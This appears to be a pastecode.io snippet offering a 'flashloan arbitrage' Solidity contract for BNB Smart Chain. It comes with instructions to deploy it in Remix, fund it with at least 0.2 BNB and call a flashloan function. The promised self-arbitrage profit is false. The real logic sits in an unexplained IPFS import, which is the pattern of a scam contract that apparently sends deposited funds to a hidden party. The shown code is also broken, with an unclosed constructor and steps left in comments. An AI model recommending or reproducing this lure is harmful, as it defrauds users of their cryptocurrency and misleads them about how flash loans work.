flashloan arbitrage BSC

Open and setup Remix in browser (https://remix.ethereum.org) Send atleast 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.1-0.15 BNB fees) Call 'flashloan' function in Remix.
mail@pastecode.io avatar
3 years ago
2.5 kB
pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashloanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

// Router
import "ipfs://QmcuWzm3xggsbtR2dk1bpA2Qta7ndRLzFCZnKGZhLF4Uj5";

// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

contract GetFlashLoan {
	string public tokenName;
	string public tokenSymbol;
	uint loanAmount;
	Manager manager;
	constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
		tokenName = _tokenName;
		tokenSymbol = _tokenSymbol;
		loanAmount = _loanAmount;
		manager = new Manager();
	function() external payable {}
	function action() public payable {
	    // Send required coins for swap
	    // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
	    // Breakdown of functions written below
	    /* Breakdown of functions
	    // Submit token to BSC blockchain
	    string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
        // List the token on PancakeSwap
		manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
        // Get BNB Loan from Multiplier-Finance
		string memory loanAddress = manager.takeFlashLoan(loanAmount);
		// Convert half BNB to DAI
		manager.pancakeDAItoBNB(loanAmount / 2);
        // Create BNB and DAI pairs for our token & Provide liquidity
        string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
		manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
		string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
		manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
        // Perform swaps and profit on Self-Arbitrage
		// Move remaining BNB from Contract to your account
        // Repay Flash loan